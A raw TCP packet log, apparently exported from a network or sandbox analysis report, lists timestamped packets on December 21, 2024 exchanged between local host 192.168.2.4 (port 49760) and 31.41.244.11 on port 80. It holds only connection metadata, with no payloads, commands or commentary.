                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.675870895 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.675910950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.675951004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.677062988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.677108049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.677126884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.677170038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.678049088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.678092957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.678111076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.678152084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.679514885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.679560900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.679625988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.679671049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.680216074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.680255890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.680336952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.680385113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.681372881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.681416035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.681562901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.681606054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.682548046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.682591915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.682718992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.682764053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.683619976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.683662891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.683707952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.683751106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.684659004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.684701920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.684729099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.684772015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.685892105 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.685934067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.685961962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.686005116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.686865091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.686908007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.686981916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.687028885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.688018084 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.688065052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.688112974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.688153982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.689069033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.689114094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.689208031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.689251900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.690220118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.690268040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.690313101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.690360069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.691364050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.691410065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.691454887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.691505909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.692596912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.692642927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.692676067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.692722082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.693526983 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.693628073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.693649054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.693697929 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.694643974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.694691896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.694772959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.694811106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.695930958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.695976973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.695998907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.696038961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.697061062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.697109938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.697259903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.697309017 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.698223114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.698272943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.698311090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.698363066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.699460030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.699517012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.699568033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.699621916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.700577021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.700620890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.700839043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.700880051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.702095032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.702122927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.702146053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.702158928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703046083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703063965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703150034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703176975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703980923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.703998089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704044104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704082966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704894066 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704937935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704946995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.704986095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706033945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706052065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706082106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706094980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706890106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.706938028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.707003117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.707050085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.707978964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.708025932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.708045006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.708090067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.709050894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.709096909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.709135056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.709181070 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.710113049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.710160971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.710206985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.710249901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.711234093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.711277008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.711384058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.711429119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.712310076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.712348938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.712430000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.712475061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.713433981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.713490963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.713542938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.713587999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.714565039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.714622021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.714653969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.714706898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.715672016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.715727091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850029945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850102901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850115061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850143909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850277901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850327969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850584030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.850640059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.851438046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.851491928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.851608992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.851656914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.852524042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.852572918 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.852636099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.852684021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.853622913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.853672028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.853735924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.853781939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.854713917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.854764938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.854837894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.854904890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.855890989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.855941057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.855986118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.856034994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.857028961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.857075930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.857172966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.857215881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.858074903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.858124971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.858215094 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.858264923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.859137058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.859180927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.859206915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.859251976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.860321999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.860375881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.860394001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.860439062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.861459017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.861507893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.861551046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.861598969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.862561941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.862607002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.862886906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.862934113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.863934040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.863981962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.864006042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.864048004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.864877939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.864926100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.864995003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.865044117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.865837097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.865885973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.865971088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.866017103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.867182970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.867212057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.867237091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.867249012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.868021011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.868081093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.868748903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.868814945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.869119883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.869167089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.869210958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.869256973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.870249033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.870299101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.870389938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.870435953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.871397018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.871448040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.871578932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.871625900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.872452021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.872502089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.872531891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.872580051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.873522043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.873570919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.873708010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.873759985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.874630928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.874680996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.874720097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.874763012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.875762939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.875813007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.875889063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.875936031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.876863956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.876913071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.876966953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.877006054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.877973080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.878025055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.878062010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.878109932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.879101038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.879147053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.879151106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.879189968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.880178928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.880225897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.880377054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.880419016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.881268024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:12.881311893 CET4976080192.168.2.431.41.244.11
